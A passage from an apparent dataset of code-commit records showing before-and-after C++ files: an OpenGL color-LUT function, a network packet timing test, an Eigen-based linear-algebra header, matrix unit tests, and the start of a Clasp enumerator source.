sRGB\" color space). Since StimulusDisplay uses an 8 bit per channel, integer color\n \/\/ buffer, we're always limited to sRGB.\n \/\/\n \/\/ Testing suggests that this approach is correct. If we draw an image with high color\n \/\/ saturation and then display it both with and without a Mac-style, LUT-based conversion\n \/\/ from sRGB to Display P3, the unconverted colors match what we see on a Mac, while the converted\n \/\/ colors are noticeably duller. This makes sense, because converting, say, 100% red (255, 0, 0)\n \/\/ in sRGB to the wider gamut of Display P3 results in smaller numerical values (234, 51, 35).\n \/\/\n \/\/ https:\/\/developer.apple.com\/videos\/play\/wwdc2016\/605\/\n \/\/\n break;\n }\n \n default:\n throw SimpleException(M_DISPLAY_MESSAGE_DOMAIN, \"Unsupported display gamut\");\n }\n \n }\n \n return lutData;\n }\n}\n\n\nboost::shared_ptr OpenGLContextManager::createPlatformOpenGLContextManager() {\n return boost::make_shared();\n}\n\n\nEND_NAMESPACE_MW\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<|endoftext|>"} {"text":"\/* packet_test.cpp -*- C++ -*-\n Rémi Attab (remi.attab@gmail.com), 06 Dec 2013\n FreeBSD-style copyright and disclaimer apply\n\n Packet sending and timing test.\n*\/\n\n#include \"client.h\"\n#include \"provider.h\"\n#include \"test_utils.h\"\n\n#include \n#include \n#include \n#include \n\nusing namespace std;\nusing namespace slick;\n\n\n\/******************************************************************************\/\n\/* MISC *\/\n\/******************************************************************************\/\n\nenum { PayloadSize = 32 };\n\nstring getStats(size_t value, size_t& oldValue)\n{\n string diff = fmtValue(value - oldValue);\n oldValue = value;\n return diff;\n}\n\n\n\/******************************************************************************\/\n\/* PROVIDER *\/\n\/******************************************************************************\/\n\nvoid runProvider(Port port)\n{\n size_t recv = 0, dropped = 0;\n\n EndpointProvider provider(port);\n\n provider.onNewConnection = [] (ConnectionHandle conn) {\n fprintf(stderr, \"\\nprv: new %d\\n\", conn);;\n };\n provider.onLostConnection = [] (ConnectionHandle conn) {\n fprintf(stderr, \"\\nprv: lost %d\\n\", conn);;\n };\n\n provider.onPayload = [&] (ConnectionHandle conn, Payload&& data) {\n recv++;\n provider.send(conn, move(data));\n };\n provider.onDroppedPayload = [&] (ConnectionHandle, Payload&&) {\n dropped++;\n };\n\n thread pollTh([&] { while (true) provider.poll(); });\n\n size_t oldRecv = 0;\n while (true) {\n slick::sleep(1000);\n\n string diffRecv = getStats(recv, oldRecv);\n fprintf(stderr, \"\\rrecv: %s\", diffRecv.c_str());\n }\n}\n\n\n\/******************************************************************************\/\n\/* CLIENT *\/\n\/******************************************************************************\/\n\nvoid runClient(vector uris)\n{\n size_t sent = 0, recv = 0, dropped = 0;\n\n EndpointClient client;\n\n client.onNewConnection = [] (ConnectionHandle conn) {\n fprintf(stderr, \"\\ncli: new %d\\n\", conn);;\n };\n client.onLostConnection = [] (ConnectionHandle conn) {\n fprintf(stderr, \"\\ncli: lost %d\\n\", conn);;\n };\n\n client.onPayload = [&] (ConnectionHandle, Payload&&) {\n recv++;\n };\n client.onDroppedPayload = [&] (ConnectionHandle, Payload&&) {\n dropped++;\n };\n\n for (auto& uri : uris) client.connect(uri);\n\n thread pollTh([&] { while (true) client.poll(); });\n\n Payload payload = proto::fromString(string(PayloadSize, 'a'));\n auto sendFn = [&] {\n while (true) {\n client.broadcast(payload); sent++;\n }\n };\n thread sendTh(sendFn);\n\n size_t oldSent = 0, oldRecv = 0;\n while (true) {\n slick::sleep(1000);\n\n string diffSent = getStats(sent - dropped, oldSent);\n string diffRecv = getStats(recv, oldRecv);\n\n fprintf(stderr, \"\\rsent: %s, recv: %s, \",\n diffSent.c_str(), diffRecv.c_str());\n }\n}\n\n\n\/******************************************************************************\/\n\/* MAIN *\/\n\/******************************************************************************\/\n\nint main(int argc, char** argv)\n{\n assert(argc >= 2);\n\n if (argv[1][0] == 'p') {\n Port port = 20000;\n if (argc >= 3) port = atoi(argv[2]);\n runProvider(port);\n }\n\n else if (argv[1][0] == 'c') {\n assert(argc >= 3);\n\n vector uris;\n for (size_t i = 2; i < size_t(argc); ++i)\n uris.emplace_back(argv[i]);\n runClient(uris);\n }\n\n else assert(false);\n\n return 0;\n}\nTime output for the packet test.\/* packet_test.cpp -*- C++ -*-\n Rémi Attab (remi.attab@gmail.com), 06 Dec 2013\n FreeBSD-style copyright and disclaimer apply\n\n Packet sending and timing test.\n*\/\n\n#include \"client.h\"\n#include \"provider.h\"\n#include \"test_utils.h\"\n\n#include \n#include \n#include \n#include \n\nusing namespace std;\nusing namespace slick;\n\n\n\/******************************************************************************\/\n\/* MISC *\/\n\/******************************************************************************\/\n\nenum {\n PayloadSize = 32,\n RefreshRate = 200,\n};\n\nstring getStats(size_t value, size_t& oldValue)\n{\n size_t diff = value - oldValue;\n diff *= 1000 \/ RefreshRate;\n\n oldValue = value;\n\n return fmtValue(diff);\n}\n\n\n\/******************************************************************************\/\n\/* PROVIDER *\/\n\/******************************************************************************\/\n\nvoid runProvider(Port port)\n{\n size_t recv = 0, dropped = 0;\n\n EndpointProvider provider(port);\n\n provider.onNewConnection = [] (ConnectionHandle conn) {\n fprintf(stderr, \"\\nprv: new %d\\n\", conn);;\n };\n provider.onLostConnection = [] (ConnectionHandle conn) {\n fprintf(stderr, \"\\nprv: lost %d\\n\", conn);;\n };\n\n provider.onPayload = [&] (ConnectionHandle conn, Payload&& data) {\n recv++;\n provider.send(conn, move(data));\n };\n provider.onDroppedPayload = [&] (ConnectionHandle, Payload&&) {\n dropped++;\n };\n\n thread pollTh([&] { while (true) provider.poll(); });\n\n double start = wall();\n size_t oldRecv = 0;\n\n while (true) {\n slick::sleep(RefreshRate);\n\n string diffRecv = getStats(recv, oldRecv);\n string elapsed = fmtElapsed(wall() - start);\n\n fprintf(stderr, \"\\r%s> recv: %s \", elapsed.c_str(), diffRecv.c_str());\n }\n}\n\n\n\/******************************************************************************\/\n\/* CLIENT *\/\n\/******************************************************************************\/\n\nvoid runClient(vector uris)\n{\n size_t sent = 0, recv = 0, dropped = 0;\n\n EndpointClient client;\n\n client.onNewConnection = [] (ConnectionHandle conn) {\n fprintf(stderr, \"\\ncli: new %d\\n\", conn);;\n };\n client.onLostConnection = [] (ConnectionHandle conn) {\n fprintf(stderr, \"\\ncli: lost %d\\n\", conn);;\n };\n\n client.onPayload = [&] (ConnectionHandle, Payload&&) {\n recv++;\n };\n client.onDroppedPayload = [&] (ConnectionHandle, Payload&&) {\n dropped++;\n };\n\n for (auto& uri : uris) client.connect(uri);\n\n thread pollTh([&] { while (true) client.poll(); });\n\n Payload payload = proto::fromString(string(PayloadSize, 'a'));\n auto sendFn = [&] {\n while (true) {\n client.broadcast(payload);\n sent++;\n }\n };\n thread sendTh(sendFn);\n\n\n double start = wall();\n size_t oldSent = 0, oldRecv = 0;\n\n while (true) {\n slick::sleep(200);\n\n string diffSent = getStats(sent - dropped, oldSent);\n string diffRecv = getStats(recv, oldRecv);\n string elapsed = fmtElapsed(wall() - start);\n\n fprintf(stderr, \"\\r%s> sent: %s, recv: %s \",\n elapsed.c_str(), diffSent.c_str(), diffRecv.c_str());\n }\n}\n\n\n\/******************************************************************************\/\n\/* MAIN *\/\n\/******************************************************************************\/\n\nint main(int argc, char** argv)\n{\n assert(argc >= 2);\n\n if (argv[1][0] == 'p') {\n Port port = 20000;\n if (argc >= 3) port = atoi(argv[2]);\n runProvider(port);\n }\n\n else if (argv[1][0] == 'c') {\n assert(argc >= 3);\n\n vector uris;\n for (size_t i = 2; i < size_t(argc); ++i)\n uris.emplace_back(argv[i]);\n runClient(uris);\n }\n\n else assert(false);\n\n return 0;\n}\n<|endoftext|>"} {"text":"\/**\n * @file\n *\/\n#pragma once\n\n#include \"numbirch\/utility.hpp\"\n#include \"numbirch\/eigen\/eigen.hpp\"\n#include \"numbirch\/numeric.hpp\"\n\nnamespace numbirch {\n\ntemplate\nArray operator*(const Array& A, const Array& x) {\n assert(columns(A) == length(x));\n Array y(make_shape(rows(A)));\n auto A1 = make_eigen(A);\n auto x1 = make_eigen(x);\n auto y1 = make_eigen(y);\n y1.noalias() = A1*x1;\n return y;\n}\n\ntemplate\nArray operator*(const Array& A, const Array& B) {\n assert(columns(A) == rows(B));\n Array C(make_shape(rows(A), columns(B)));\n auto A1 = make_eigen(A);\n auto B1 = make_eigen(B);\n auto C1 = make_eigen(C);\n C1.noalias() = A1*B1;\n return C;\n}\n\ntemplate\nArray chol(const Array& S) {\n assert(rows(S) == columns(S));\n Array L(shape(S));\n auto S1 = make_eigen(S);\n auto L1 = make_eigen(L);\n auto llt = S1.llt();\n if (llt.info() == Eigen::Success) {\n L1 = llt.matrixL();\n } else {\n L.fill(T(0.0\/0.0));\n }\n return L;\n}\n\ntemplate\nArray cholinv(const Array& L) {\n assert(rows(L) == columns(L));\n Array B(shape(L));\n auto L1 = make_eigen(L).template triangularView();\n auto U1 = make_eigen(L).transpose().template triangularView();\n auto B1 = make_eigen(B);\n auto I1 = B1.Identity(rows(B), columns(B));\n B1.noalias() = U1.solve(L1.solve(I1));\n return B;\n}\n\ntemplate\nArray cholsolve(const Array& L, const Array& y) {\n assert(rows(L) == columns(L));\n assert(columns(L) == length(y));\n Array x(shape(y));\n auto L1 = make_eigen(L).template triangularView();\n auto U1 = make_eigen(L).transpose().template triangularView();\n auto x1 = make_eigen(x);\n auto y1 = make_eigen(y);\n x1.noalias() = U1.solve(L1.solve(y1));\n return x;\n}\n\ntemplate\nArray cholsolve(const Array& L, const Array& C) {\n assert(rows(L) == columns(L));\n assert(columns(L) == rows(C));\n Array B(shape(C));\n auto L1 = make_eigen(L).template triangularView();\n auto U1 = make_eigen(L).transpose().template triangularView();\n auto B1 = make_eigen(B);\n auto C1 = make_eigen(C);\n B1.noalias() = U1.solve(L1.solve(C1));\n return B;\n}\n\ntemplate\nArray dot(const Array& x, const Array& y) {\n assert(length(x) == length(y));\n Array z;\n auto x1 = make_eigen(x);\n auto y1 = make_eigen(y);\n z = x1.dot(y1);\n return z;\n}\n\ntemplate\nArray frobenius(const Array& x, const Array& y) {\n Array z;\n auto x1 = make_eigen(x);\n auto y1 = make_eigen(y);\n z = (x1.array()*y1.array()).sum();\n return z;\n}\n\ntemplate\nArray inner(const Array& A, const Array& x) {\n assert(rows(A) == length(x));\n Array y(make_shape(columns(A)));\n auto A1 = make_eigen(A);\n auto x1 = make_eigen(x);\n auto y1 = make_eigen(y);\n y1.noalias() = A1.transpose()*x1;\n return y;\n}\n\ntemplate\nArray inner(const Array& A, const Array& B) {\n assert(rows(A) == rows(B));\n Array C(make_shape(columns(A), columns(B)));\n auto A1 = make_eigen(A);\n auto B1 = make_eigen(B);\n auto C1 = make_eigen(C);\n C1.noalias() = A1.transpose()*B1;\n return C;\n}\n\ntemplate\nArray inv(const Array& A) {\n assert(rows(A) == columns(A));\n Array B(shape(A));\n auto A1 = make_eigen(A);\n auto B1 = make_eigen(B);\n B1.noalias() = A1.inverse();\n return B;\n}\n\ntemplate\nArray lcholdet(const Array& L) {\n auto L1 = make_eigen(L);\n\n \/* we have $S = LL^\\top$; the determinant of $S$ is the square of the\n * determinant of $L$, the determinant of $L$ is the product of the\n * elements along the diagonal, as it is a triangular matrix; adjust for\n * log-determinant *\/\n return T(2.0)*L1.diagonal().array().log().sum();\n}\n\ntemplate\nArray ldet(const Array& A) {\n auto A1 = make_eigen(A);\n return A1.householderQr().logAbsDeterminant();\n}\n\ntemplate\nArray outer(const Array& x, const Array& y) {\n Array A(make_shape(length(x), length(y)));\n auto x1 = make_eigen(x);\n auto y1 = make_eigen(y);\n auto A1 = make_eigen(A);\n A1.noalias() = x1*y1.transpose();\n return A;\n}\n\ntemplate\nArray outer(const Array& A, const Array& B) {\n assert(columns(A) == columns(B));\n Array C(make_shape(rows(A), rows(B)));\n auto A1 = make_eigen(A);\n auto B1 = make_eigen(B);\n auto C1 = make_eigen(C);\n C1.noalias() = A1*B1.transpose();\n return C;\n}\n\ntemplate\nArray phi(const Array& A) {\n Array L(make_shape(rows(A), columns(A)));\n auto A1 = make_eigen(A).template triangularView();\n auto L1 = make_eigen(L);\n L1 = A1;\n L1.diagonal() *= 0.5;\n return L;\n}\n\ntemplate\nArray transpose(const Array& A) {\n Array B(make_shape(columns(A), rows(A)));\n auto A1 = make_eigen(A);\n auto B1 = make_eigen(B);\n B1.noalias() = A1.transpose();\n return B;\n}\n\ntemplate\nArray tri(const Array& A) {\n Array L(make_shape(rows(A), columns(A)));\n auto A1 = make_eigen(A).template triangularView();\n auto L1 = make_eigen(L);\n L1 = A1;\n return L;\n}\n\ntemplate\nArray triinner(const Array& L, const Array& x) {\n assert(rows(L) == length(x));\n Array y(make_shape(columns(L)));\n auto U1 = make_eigen(L).transpose().template triangularView();\n auto x1 = make_eigen(x);\n auto y1 = make_eigen(y);\n y1.noalias() = U1*x1;\n return y;\n}\n\ntemplate\nArray triinner(const Array& L, const Array& B) {\n assert(rows(L) == rows(B));\n Array C(make_shape(columns(L), columns(B)));\n auto U1 = make_eigen(L).transpose().template triangularView();\n auto B1 = make_eigen(B);\n auto C1 = make_eigen(C);\n C1.noalias() = U1*B1;\n return C;\n}\n\ntemplate\nArray triinv(const Array& L) {\n assert(rows(L) == columns(L));\n Array B(shape(L));\n auto L1 = make_eigen(L).template triangularView();\n auto B1 = make_eigen(B);\n B1.noalias() = L1.solve(B1.Identity(rows(B), columns(B)));\n return B;\n}\n\ntemplate\nArray trimul(const Array& L, const Array& x) {\n assert(columns(L) == length(x));\n Array y(make_shape(rows(L)));\n auto L1 = make_eigen(L).template triangularView();\n auto x1 = make_eigen(x);\n auto y1 = make_eigen(y);\n y1.noalias() = L1*x1;\n return y;\n}\n\ntemplate\nArray trimul(const Array& L, const Array& B) {\n assert(columns(L) == rows(B));\n Array C(make_shape(rows(L), columns(B)));\n auto L1 = make_eigen(L).template triangularView();\n auto B1 = make_eigen(B);\n auto C1 = make_eigen(C);\n C1.noalias() = L1*B1;\n return C;\n}\n\ntemplate\nArray triouter(const Array& A, const Array& L) {\n assert(columns(A) == columns(L));\n Array C(make_shape(rows(A), rows(L)));\n auto A1 = make_eigen(A);\n auto U1 = make_eigen(L).transpose().template triangularView();\n auto C1 = make_eigen(C);\n C1.noalias() = A1*U1;\n return C;\n}\n\ntemplate\nArray trisolve(const Array& L, const Array& y) {\n assert(rows(L) == columns(L));\n assert(columns(L) == length(y));\n Array x(shape(y));\n auto L1 = make_eigen(L).template triangularView();\n auto x1 = make_eigen(x);\n auto y1 = make_eigen(y);\n x1.noalias() = L1.solve(y1);\n return x;\n}\n\ntemplate\nArray trisolve(const Array& L, const Array& C) {\n assert(rows(L) == columns(L));\n assert(columns(L) == rows(C));\n Array B(shape(C));\n auto L1 = make_eigen(L).template triangularView();\n auto B1 = make_eigen(B);\n auto C1 = make_eigen(C);\n B1.noalias() = L1.solve(C1);\n return B;\n}\n\n}\nReplaced call to fill (now private) with scalar assign.\/**\n * @file\n *\/\n#pragma once\n\n#include \"numbirch\/utility.hpp\"\n#include \"numbirch\/eigen\/eigen.hpp\"\n#include \"numbirch\/numeric.hpp\"\n\nnamespace numbirch {\n\ntemplate\nArray operator*(const Array& A, const Array& x) {\n assert(columns(A) == length(x));\n Array y(make_shape(rows(A)));\n auto A1 = make_eigen(A);\n auto x1 = make_eigen(x);\n auto y1 = make_eigen(y);\n y1.noalias() = A1*x1;\n return y;\n}\n\ntemplate\nArray operator*(const Array& A, const Array& B) {\n assert(columns(A) == rows(B));\n Array C(make_shape(rows(A), columns(B)));\n auto A1 = make_eigen(A);\n auto B1 = make_eigen(B);\n auto C1 = make_eigen(C);\n C1.noalias() = A1*B1;\n return C;\n}\n\ntemplate\nArray chol(const Array& S) {\n assert(rows(S) == columns(S));\n Array L(shape(S));\n auto S1 = make_eigen(S);\n auto L1 = make_eigen(L);\n auto llt = S1.llt();\n if (llt.info() == Eigen::Success) {\n L1 = llt.matrixL();\n } else {\n L = T(0.0\/0.0);\n }\n return L;\n}\n\ntemplate\nArray cholinv(const Array& L) {\n assert(rows(L) == columns(L));\n Array B(shape(L));\n auto L1 = make_eigen(L).template triangularView();\n auto U1 = make_eigen(L).transpose().template triangularView();\n auto B1 = make_eigen(B);\n auto I1 = B1.Identity(rows(B), columns(B));\n B1.noalias() = U1.solve(L1.solve(I1));\n return B;\n}\n\ntemplate\nArray cholsolve(const Array& L, const Array& y) {\n assert(rows(L) == columns(L));\n assert(columns(L) == length(y));\n Array x(shape(y));\n auto L1 = make_eigen(L).template triangularView();\n auto U1 = make_eigen(L).transpose().template triangularView();\n auto x1 = make_eigen(x);\n auto y1 = make_eigen(y);\n x1.noalias() = U1.solve(L1.solve(y1));\n return x;\n}\n\ntemplate\nArray cholsolve(const Array& L, const Array& C) {\n assert(rows(L) == columns(L));\n assert(columns(L) == rows(C));\n Array B(shape(C));\n auto L1 = make_eigen(L).template triangularView();\n auto U1 = make_eigen(L).transpose().template triangularView();\n auto B1 = make_eigen(B);\n auto C1 = make_eigen(C);\n B1.noalias() = U1.solve(L1.solve(C1));\n return B;\n}\n\ntemplate\nArray dot(const Array& x, const Array& y) {\n assert(length(x) == length(y));\n Array z;\n auto x1 = make_eigen(x);\n auto y1 = make_eigen(y);\n z = x1.dot(y1);\n return z;\n}\n\ntemplate\nArray frobenius(const Array& x, const Array& y) {\n Array z;\n auto x1 = make_eigen(x);\n auto y1 = make_eigen(y);\n z = (x1.array()*y1.array()).sum();\n return z;\n}\n\ntemplate\nArray inner(const Array& A, const Array& x) {\n assert(rows(A) == length(x));\n Array y(make_shape(columns(A)));\n auto A1 = make_eigen(A);\n auto x1 = make_eigen(x);\n auto y1 = make_eigen(y);\n y1.noalias() = A1.transpose()*x1;\n return y;\n}\n\ntemplate\nArray inner(const Array& A, const Array& B) {\n assert(rows(A) == rows(B));\n Array C(make_shape(columns(A), columns(B)));\n auto A1 = make_eigen(A);\n auto B1 = make_eigen(B);\n auto C1 = make_eigen(C);\n C1.noalias() = A1.transpose()*B1;\n return C;\n}\n\ntemplate\nArray inv(const Array& A) {\n assert(rows(A) == columns(A));\n Array B(shape(A));\n auto A1 = make_eigen(A);\n auto B1 = make_eigen(B);\n B1.noalias() = A1.inverse();\n return B;\n}\n\ntemplate\nArray lcholdet(const Array& L) {\n auto L1 = make_eigen(L);\n\n \/* we have $S = LL^\\top$; the determinant of $S$ is the square of the\n * determinant of $L$, the determinant of $L$ is the product of the\n * elements along the diagonal, as it is a triangular matrix; adjust for\n * log-determinant *\/\n return T(2.0)*L1.diagonal().array().log().sum();\n}\n\ntemplate\nArray ldet(const Array& A) {\n auto A1 = make_eigen(A);\n return A1.householderQr().logAbsDeterminant();\n}\n\ntemplate\nArray outer(const Array& x, const Array& y) {\n Array A(make_shape(length(x), length(y)));\n auto x1 = make_eigen(x);\n auto y1 = make_eigen(y);\n auto A1 = make_eigen(A);\n A1.noalias() = x1*y1.transpose();\n return A;\n}\n\ntemplate\nArray outer(const Array& A, const Array& B) {\n assert(columns(A) == columns(B));\n Array C(make_shape(rows(A), rows(B)));\n auto A1 = make_eigen(A);\n auto B1 = make_eigen(B);\n auto C1 = make_eigen(C);\n C1.noalias() = A1*B1.transpose();\n return C;\n}\n\ntemplate\nArray phi(const Array& A) {\n Array L(make_shape(rows(A), columns(A)));\n auto A1 = make_eigen(A).template triangularView();\n auto L1 = make_eigen(L);\n L1 = A1;\n L1.diagonal() *= 0.5;\n return L;\n}\n\ntemplate\nArray transpose(const Array& A) {\n Array B(make_shape(columns(A), rows(A)));\n auto A1 = make_eigen(A);\n auto B1 = make_eigen(B);\n B1.noalias() = A1.transpose();\n return B;\n}\n\ntemplate\nArray tri(const Array& A) {\n Array L(make_shape(rows(A), columns(A)));\n auto A1 = make_eigen(A).template triangularView();\n auto L1 = make_eigen(L);\n L1 = A1;\n return L;\n}\n\ntemplate\nArray triinner(const Array& L, const Array& x) {\n assert(rows(L) == length(x));\n Array y(make_shape(columns(L)));\n auto U1 = make_eigen(L).transpose().template triangularView();\n auto x1 = make_eigen(x);\n auto y1 = make_eigen(y);\n y1.noalias() = U1*x1;\n return y;\n}\n\ntemplate\nArray triinner(const Array& L, const Array& B) {\n assert(rows(L) == rows(B));\n Array C(make_shape(columns(L), columns(B)));\n auto U1 = make_eigen(L).transpose().template triangularView();\n auto B1 = make_eigen(B);\n auto C1 = make_eigen(C);\n C1.noalias() = U1*B1;\n return C;\n}\n\ntemplate\nArray triinv(const Array& L) {\n assert(rows(L) == columns(L));\n Array B(shape(L));\n auto L1 = make_eigen(L).template triangularView();\n auto B1 = make_eigen(B);\n B1.noalias() = L1.solve(B1.Identity(rows(B), columns(B)));\n return B;\n}\n\ntemplate\nArray trimul(const Array& L, const Array& x) {\n assert(columns(L) == length(x));\n Array y(make_shape(rows(L)));\n auto L1 = make_eigen(L).template triangularView();\n auto x1 = make_eigen(x);\n auto y1 = make_eigen(y);\n y1.noalias() = L1*x1;\n return y;\n}\n\ntemplate\nArray trimul(const Array& L, const Array& B) {\n assert(columns(L) == rows(B));\n Array C(make_shape(rows(L), columns(B)));\n auto L1 = make_eigen(L).template triangularView();\n auto B1 = make_eigen(B);\n auto C1 = make_eigen(C);\n C1.noalias() = L1*B1;\n return C;\n}\n\ntemplate\nArray triouter(const Array& A, const Array& L) {\n assert(columns(A) == columns(L));\n Array C(make_shape(rows(A), rows(L)));\n auto A1 = make_eigen(A);\n auto U1 = make_eigen(L).transpose().template triangularView();\n auto C1 = make_eigen(C);\n C1.noalias() = A1*U1;\n return C;\n}\n\ntemplate\nArray trisolve(const Array& L, const Array& y) {\n assert(rows(L) == columns(L));\n assert(columns(L) == length(y));\n Array x(shape(y));\n auto L1 = make_eigen(L).template triangularView();\n auto x1 = make_eigen(x);\n auto y1 = make_eigen(y);\n x1.noalias() = L1.solve(y1);\n return x;\n}\n\ntemplate\nArray trisolve(const Array& L, const Array& C) {\n assert(rows(L) == columns(L));\n assert(columns(L) == rows(C));\n Array B(shape(C));\n auto L1 = make_eigen(L).template triangularView();\n auto B1 = make_eigen(B);\n auto C1 = make_eigen(C);\n B1.noalias() = L1.solve(C1);\n return B;\n}\n\n}\n<|endoftext|>"} {"text":"#include \n#include \n#include \n\nSCENARIO(\"Matrix init\", \"[init]\") {\n\tGIVEN(\"The number of lines and columns\") {\n\t\tauto lines = 36;\n\t\tauto columns = 39;\n\n\t\tWHEN(\"Create instansce of Matrix\") {\n\t\t\tMatrix matrix(lines, columns);\n\t\t\tTHEN(\"The number of lines and columns must be preserved\") {\n\t\t\t\tREQUIRE(matrix.GetNumberOfLines() == lines);\n\t\t\t\tREQUIRE(matrix.GetNumberOfColumns() == columns);\n\t\t\t}\n\t\t}\n\t}\n}\nSCENARIO(\"Matrix InitFromFile\", \"[fill]\") {\n\tMatrix C(3, 1);\n\tC.InitFromFile(\"C3x1.txt\");\n\tREQUIRE( C[0][0] == 1 );\n\tREQUIRE( C[1][0] == 2 );\n\tREQUIRE( C[2][0] == 0 );\n}\nSCENARIO(\"Matrix +\", \"[addition]\") {\n\tMatrix A(3, 3);\n\tA.InitFromFile(\"A3x3.txt\");\n\tMatrix B(3, 3);\n\tB.InitFromFile(\"B3x3.txt\");\n\tMatrix expected = Matrix(3, 3);\n\texpected.InitFromFile(\"(A3x3)+(B3x3).txt\");\n\n\tMatrix result = A + B;\n\tfor (int i = 0; i < 3; i++){\n\t\tfor (int j = 0; j < 3; j++){\n\t\t\tREQUIRE(result[i][j] == expected[i][j]);\n\t\t}\n\t}\n}\nSCENARIO(\"Matrix *\", \"[multiplication]\") {\n\tMatrix A = Matrix(3, 3);\n\tA.InitFromFile(\"A3x3.txt\");\n\tMatrix C = Matrix(3, 1);\n\tC.InitFromFile(\"C3x1.txt\");\n\tMatrix expected = Matrix(3, 1);\n\texpected.InitFromFile(\"(A3x3)(C3x1).txt\");\n\n\tMatrix result = A * C;\n\tfor (int i = 0; i < 3; i++){\n\t\tfor (int j = 0; j < 3; j++){\n\t\t\tREQUIRE(result[i][j] == expected[i][j]);\n\t\t}\n\t}\n}\nUpdate init.cpp#include \n#include \n#include \n\nSCENARIO(\"Matrix init\", \"[init]\") {\n\tGIVEN(\"The number of lines and columns\") {\n\t\tauto lines = 36;\n\t\tauto columns = 39;\n\n\t\tWHEN(\"Create instansce of Matrix\") {\n\t\t\tMatrix matrix(lines, columns);\n\t\t\tTHEN(\"The number of lines and columns must be preserved\") {\n\t\t\t\tREQUIRE(matrix.GetNumberOfLines() == lines);\n\t\t\t\tREQUIRE(matrix.GetNumberOfColumns() == columns);\n\t\t\t}\n\t\t}\n\t}\n}\nSCENARIO(\"Matrix InitFromFile\", \"[fill]\") {\n\tMatrix C(3, 1);\n\tC.InitFromFile(\"C3x1.txt\");\n\tREQUIRE( C[0][0] == 1 );\n\tREQUIRE( C[1][0] == 2 );\n\tREQUIRE( C[2][0] == 0 );\n}\nSCENARIO(\"Matrix +\", \"[addition]\") {\n\tMatrix A(3, 3);\n\tA.InitFromFile(\"A3x3.txt\");\n\tMatrix B(3, 3);\n\tB.InitFromFile(\"B3x3.txt\");\n\tMatrix expected = Matrix(3, 3);\n\texpected.InitFromFile(\"(A3x3)+(B3x3).txt\");\n\n\tMatrix result = A + B;\n\tfor (int i = 0; i < 3; i++){\n\t\tfor (int j = 0; j < 3; j++){\n\t\t\tREQUIRE(result[i][j] == expected[i][j]);\n\t\t}\n\t}\n}\nSCENARIO(\"Matrix *\", \"[multiplication]\") {\n\tMatrix A = Matrix(3, 3);\n\tA.InitFromFile(\"A3x3.txt\");\n\tMatrix C = Matrix(3, 1);\n\tC.InitFromFile(\"C3x1.txt\");\n\tMatrix expected = Matrix(3, 1);\n\texpected.InitFromFile(\"(A3x3)(C3x1).txt\");\n\n\tMatrix result = A * C;\n\tfor (int i = 0; i < 3; i++){\n\t\tREQUIRE(result[i][0] == expected[i][0]);\n\t}\n}\n<|endoftext|>"} {"text":"\/\/\n\/\/ Copyright (c) 2006-2017 Benjamin Kaufmann\n\/\/\n\/\/ This file is part of Clasp. See http:\/\/www.cs.uni-potsdam.de\/clasp\/\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to\n\/\/ deal in the Software without restriction, including without limitation the\n\/\/ rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or\n\/\/ sell copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n\/\/ FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n\/\/ IN THE SOFTWARE.\n\/\/\n#include \n#include \n#include \n#include \nnamespace Clasp {\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Enumerator - Shared Queue \/ Thread Queue\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nclass Enumerator::SharedQueue : public mt::MultiQueue {\npublic:\n\ttypedef mt::MultiQueue BaseType;\n\texplicit SharedQueue(uint32 m) : BaseType(m, releaseLits) { reserve(m + 1); }\n\tbool pushRelaxed(SharedLiterals* clause) { unsafePublish(clause); return true; }\n\tstatic void releaseLits(SharedLiterals* x){ x->release(); }\n};\nclass Enumerator::ThreadQueue {\npublic:\n\texplicit ThreadQueue(SharedQueue& q) : queue_(&q) { tail_ = q.addThread(); }\n\tbool pop(SharedLiterals*& out){ return queue_->tryConsume(tail_, out); }\n\tThreadQueue* clone() { return new ThreadQueue(*queue_); }\nprivate:\n\tEnumerator::SharedQueue* queue_;\n\tEnumerator::SharedQueue::ThreadId tail_;\n};\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ EnumerationConstraint\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nEnumerationConstraint::EnumerationConstraint() : mini_(0), root_(0), state_(0), upMode_(0), heuristic_(0), disjoint_(false) 